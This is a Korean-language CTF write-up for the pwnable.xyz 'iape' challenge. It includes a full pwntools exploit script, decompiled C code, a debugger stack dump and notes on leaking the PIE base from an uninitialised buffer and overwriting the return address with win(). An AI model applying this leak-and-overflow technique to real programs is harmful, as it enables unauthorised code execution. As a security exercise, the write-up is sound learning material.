security/포너블 - pwnable.xyz

pwnable.xyz - iape

민사민서 2023. 2. 15. 18:03
from pwn import *
p = remote("svc.pwnable.xyz", 30014)
# p = process("./challenge")

# 0x408 byte 채워야하므로 시간절약 위해 맨처음에 최대한 읽어놓자
p.sendafter("> ", "1")
p.sendafter("data: ", 'A'*127)

while True:
    p.sendafter("> ", "2")
    tmp = p.recvuntil("chars: ")
    num = int(tmp[8:-8])
    if num>=14:
        p.send("A"*8)
        break
    if num!=0:
        p.send("\x00")

p.sendafter("> ", "3")
p.recvuntil('A'*135)
win_addr = u64(p.recvline()[:-1]+b"\x00"*2) - 0xc2 + 0x57
print(hex(win_addr))

cnt = 141
while cnt<0x408: # char[1024] + SFP(8B) 채우기
    p.sendafter("> ", "2")
    tmp = p.recvuntil("chars: ")
    num = int(tmp[8:-8])
    if cnt+num>0x408:
        p.send("\x00")
        continue
    p.send('A'*num)
    cnt += num
    print("cnt= "+str(cnt)+", num= "+str(num))

while True: # RET overwrite
    p.sendafter("> ", "2")
    tmp = p.recvuntil("chars: ")
    num = int(tmp[8:-8])
    if num>=8:
        p.send(p64(win_addr))
        break
    if num!=0:
        p.send("\x00")

p.interactive()

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{  
  int int32; // eax
  char s[1024]; // [rsp+10h] [rbp-400h] BYREF

  setup(argc, argv, envp);
  memset(s, 0, sizeof(s));
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(); // printf("Menu:\n 1. Init\n 2. Append\n 3. Print\n 0. Exit\n> ");
// mov    DWORD PTR [rbp-0x404],eax
// mov    eax,DWORD PTR [rbp-0x404]
      int32 = read_int32();
      if ( int32 != 1 )
        break;
      printf("data: ");
// stdin에서 최대 127자 입력받아 s에 저장 + 마지막은 널바이트
// 줄바꿈 문자 만나면 줄바꿈까지 읽고 끝남
      fgets(s, 128, stdin);
    }
    if ( int32 <= 1 )
      break;
    if ( int32 == 2 )
    {
      append(s);
    }
    else if ( int32 == 3 )
    {
      printf("Your message: %s\n", s);
    }
    else
    {
LABEL_13:
      puts("Invalid");
    }
  }
  if ( int32 )
    goto LABEL_13;
  return 0;
}
int read_int32()
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF
   
  memset(s, 0, sizeof(s));
  read(0, s, 0x10uLL);
  return atoi(s);
}
char *__fastcall append(char *a1)
{
  char buf[28]; // [rsp+10h] [rbp-20h] BYREF
  unsigned int v3; // [rsp+2Ch] [rbp-4h]

  v3 = rand() % 16; // 0~15
  printf("Give me %d chars: ", v3);
  read(0, buf, (int)v3);
// string2의 처음 count자를 string1에 추가하고 널 문자(\0)로 결과 스트링을 종료
// count가 string2 길이보다 크면 count 대신 string2 길이를 사용
// strncat() 함수는 널로 끝나는 스트링에서 작동
  return strncat(a1, buf, (int)v3);
}


Full RELRO      No canary found   NX enabled    PIE enabled
- win() 함수가 있다. canary 없으니 RET overwrite 하면 되겠네?
- win(): 0x~b57 , 보니까 rbp에 담겨있는 값이 __libc_csu_init 함수(0x~d10) => PIE base?

<exploit 계획1>
- 0x400바이트만큼 s를 추가시킨다음 문자열 출력하면 마지막에 __libc_csu_init 함수 주소 leak
- offset 이용해 win() 주소 leak한다음
- 0x408바이트만큼 s를 추가시킨다음 마지막에 8자 win() 주소 overwrite

=> 실패 이유: strncat 함수는 복사 후 결과 문자열에 null바이트를 추가해주므로 그 뒤를 읽어들일 수 x

- 가끔 알 수 없는 값이 leak 되던데? buf 상태를 확인해볼까
pwndbg> x/4gx $rbp-0x20
0x7fffffffd9e0:    0x0000000000000000 0x0000555555554bc2
0x7fffffffd9f0:    0x0000000000000a32 0x0000000000000000
- buf[8]~[13]에 <read_int32+64> 주소가 little endian으로 들어있다
- buf[14],[15]는 널바이트이다
- <read_int32+64> 0x~bc2와 <win> 0x~b57은 마지막 바이트만 다르다
- 14 이상 숫자가 뜨고, 8자만 채우면 주소 leak 가능


<exploit 계획 - final>
- append에서 14자 이상 입력 가능할때까지 돌리다가 'A'*8자 보내 buf에 저장된 주소 6byte를 s로 leak한다
- print해서 win 주소 구한다
- 0~15자를 계속 추가해나가면서 0x408바이트 채운다
- append에서 7자 이상 입력 가능할때까지 돌리다가 win() 주소 보내 overwrite 한다
- main 함수 종료하면 RET에 담긴 win() 실행된다

<새로 알게된 점>

- strncat은 널로 끝나는 스트링에 의해 동작하며, 추가한 결과 문자열에 null byte를 붙임
- 지역변수 buf의 값을 memset 등을 통해 초기화하지 않으면 PIE base leak에 활용될 수 있다
- gdb.attach(p) 해두고 디버깅 창에서 disas main 해서 적절히 bp 세팅해놓고 continue 하면 main 코드에서 적절히 멈춰서 스택상태 등을 분석하기 용이하다

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - message  (0) 2023.02.16
pwnable.xyz - strcat  (0) 2023.02.12
pwnable.xyz - J-U-M-P  (0) 2023.02.12
pwnable.xyz - SUS  (0) 2023.02.09
pwnable.xyz - fspoo  (0) 2023.02.09